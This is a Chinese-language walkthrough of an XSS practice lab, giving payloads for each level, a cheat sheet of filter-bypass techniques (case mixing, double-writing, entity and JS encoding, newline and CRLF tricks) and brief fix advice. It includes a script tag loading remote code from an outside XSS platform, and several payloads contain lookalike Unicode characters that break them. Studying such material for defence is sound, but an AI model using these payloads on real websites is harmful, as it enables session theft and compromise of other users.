0x00:前言
一个XSS练习平台,闯关形式,一共20关
0x01:开始
第一行都是代码插入点,下面几行是payloads(插入点和payloads中间空一行)
LV1
<script>alert(1)</script>
LV2
插入点:<input name=keyword value="'.$str.'">
payload:<input name=keyword value=""><script>alert('xss')</script>">
LV3
插入点://<input name=keyword value='".htmlspecialchars($str)."'>
payload:
" οnmοuseοver=alert("xss")//
"οnclick=alert(1)//
4.
过滤了<>符号
<input name=keyword value="'.$str3.'">
payload:"οnclick=alert(1)//
5
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
替换<script 和on,不过没有过滤<>
这里使用伪协议来构造payload
插入点:<input name=keyword value="'.$str3.'">
payload:<input name=keyword value=""><a href="javascript:alert(1)">">
"><a href="javascript:alert(1)">
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
LV6
这次没有大小写过滤
"><Script>alert(1)</Script>
前面的payload大小写混合用应该都可以
LV7
双写绕过
做到这里感觉XSS和SQL注入的绕过方式有些类似,
"><scrscriptipt>alert(1)</scrscriptipt>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>
LV8
换了一种风格,友情链接
编码绕过
a标签,用href构造一个链接,
全部字符被转换为小写,常用字符也被替换。所以考虑伪协议构造payload
javascript:alert(1)
注意:javascript被换成javascr_ipt了
所以进行编码绕过
将script任意一个字母10进制,16进制都行
t十进制实体编码:javascript:alert(/xss/)
t十六进制实体编码:javascript:alert(/xss/)
r:
javascript:alert(1)
javascript:alert(1)
LV9
注释符绕过
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
要求插入字符中必须有http://
其他与lv8相同
javascript:alert(1)//http://127.0.0.1 //利用注释
javascript:%0
dhttp://xxx.com%0dalert(1) //不利用注释
javascript:%0
ahttp://xxx.com%0daalert(1) //不利用注释
LV10
有HTML实体编码
插入点:
<input name="t_sort" value="'.$str33.'" type="hidden">
payload:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
keyword=1&t_sort= "type="text" οnclick="alert(1)
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" οnmοuseοver="alert(1)
keyword = test&t_sort="type="text" οnmοuseοver=alert`1`
LV11
修改HTTP请求头实现
查看源码发现多了一个键值t_ref
源码:
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
插入点:
<input name="t_ref" value="'.$str33.'" type="hidden">
Referer: " οnmοuseοver=alert(1) type="text"
Referer:" οnclick=alert(1) type="text"
Referer:" type="text" οnclick="alert(1)
LV 12
修改请求头
查看网页源码
修改User-Agent
部分源码:
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
插入点:
<input name="t_ua" value="'.$str33.'" type="hidden">
paylaods:
User-Agent: " οnmοuseοver=alert(1) type="text"
User-Agent:" οnclick=alert(1) type="text"
LV13
查看网页源码,多了t_cook 应该是cookie
源码:
<?php
setcookie("user", "call me maybe?", time()+3600); <------
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"]; <------
$str22=str_replace(">","",$str11); <------
$str33=str_replace("<","",$str22); <------
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden"> <------
</form>
</center>';
?>
插入点:
<input name="t_cook" value="'.$str33.'" type="hidden">
<input name="t_cook" value="" type="text" οnclick="alert(1)" type="hidden">
payloads:
Cookie: user=call+me+maybe%3F" οnmοuseοver=alert(1) type="text"
Cookie: user=call+me+maybe%3F" οnclick=alert(1) type="text"
Cookie: user=call+me+maybe%3F" type="text" οnclick="alert(1)
LV14
exif触发XSS
参考一:
....level14崩了,我们看一下大佬的payload:
"><img src=1 οnerrοr=alert(1)>
百度得出答案,这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息,
造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。
修改图片exif信息如标题,作者。
参考二:
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 οnerrοr=alert(document.domain)>’ brute.jpeg
LV15
view-source:
http://127.0.0.1/xss/level15.php?src=1.gif
插入点<body><span class="ng-include:1.gif"></span></body>
paylaod: 包含level1的弹窗
src='level1.php?name=<img src=x οnerrοr=alert(1)>'
因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问
ng-include:相当于文件包含。用于包含外部的HTML文件,可以作为一个属性,或者一个元素使用
onerror:
οnerrοr=handleErr
function handleErr(msg,url,l)
{
//Handle the error here
return true or false
}
LV16
换行符%0a(换行)或者%0d(回车)绕过
查看网页源码:
注入点:
<center>< >alert(1)< ></center><center><img src=
level16.png></center>
空格和script被替换为 ;
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
注入点:echo "<center>".$str5."</center>";
这里我们可以使用换行符%0a(换行)或者%0d(回车)绕过
payload:
<img%0asrc=1%0aοnerrοr=alert(1)>
或者
<svg%0aοnlοad=alert(1)>
<img%0Dsrc=1%0Dοnerrοr=alert(1)>
<iframe%0asrc=1%0dοnmοuseοver=alert`1`></iframe>
<svg%0aοnlοad=alert`1`></svg>
LV17
arg01=123&arg02= οnmοuseοver=alert(1)
arg01=123&arg02= οnmοuseοver=alert(1)
0x02:总结
XSS常用的测试语句
- <script>alert(1)</script>
- <img src=x οnerrοr=alert(1)>
- <svg οnlοad=alert(1)>
- <a href=javascript:alert(1)>
xss绕过方法
大小写绕过
<Script>alert(1)</Script>
双写绕过
<scrscriptipt>alert(1)</scrscriptipt>
替换绕过
过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)
%00截断绕过
<a href=javascr%00ipt:alert(1)>xss</a>
编码绕过
- HTML实体编码
命名实体:以&开头,以分号结尾,例如“<”的编码是“<”
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”
javascript:alert(1) 十六进制
javascript:alert(1) 十进制
或
javascrip\u0074:alert(1)
- JS编码
①三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”(e的八进制ASCII码)
②两个十六进制数字,如果个数不够,在前面补0,e的编码为“\x65”
③四个十六进制数字,“\x0065”
④对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
- url编码
javascrip%74:alert(1)
fromCharCode方法绕过
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))
javascript伪协议绕过
无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js
换行绕过正则匹配
onmousedown
=alert(1)
注释符
// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释
闭合标签空格绕过
</style ><script>alert(1)</script>
@符号绕过url限制
例如:https://
www.segmentfault.com@xss.haozi.me/j.js
其实访问的是@后面的内容
")逃逸函数后接分号
例:");alert(1)//
\绕过转义限制
例:
\")
alert(1) //
xss paylaod形式
<script>alert(1)</script>
<script src="
http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x οnerrοr=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg οnlοad=alert(1)>
<input type="text" name="test" οnclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert(1)</script>">
绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
标签
闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
标签绕过
<img src="x" οnerrοr="alert(1)">
<button οnclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 οnerrοr=alert(1)//">
"οnsubmit=javascript:alert(1)%20name="a
<details open οntοggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="
http://www.0dutv.com/plug/down/up2.php/104678898.mp3" οnprοgress=(′body′).prepend(123);
('body')></video>
其他符号绕过
%0a 替换空格
%0d 替换空格
/**/ 替换空格
%00 截断
`` 替换括号
宽字节绕过
gbxxxx系列的编码,那么我们尝试一下宽字节 %c0,%bf,%5c,%df
其他事件绕过
onloadonclickonerrorpromptconfirmonmousemove
CRLF injection绕过
CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a<svg/οnlοad=prompt(1)>
0xff:XSS漏洞修复方法
XSS漏洞涉及输入输出两个部分,是代码注入的一种,修复方法:(1)过滤输入的数据,例如一些非法字符“'”、“"”、“<”、">"、“on+”
(2)对输出到页面的数据进行相应的编码转换,HTML编码、JS编码、URL编码等。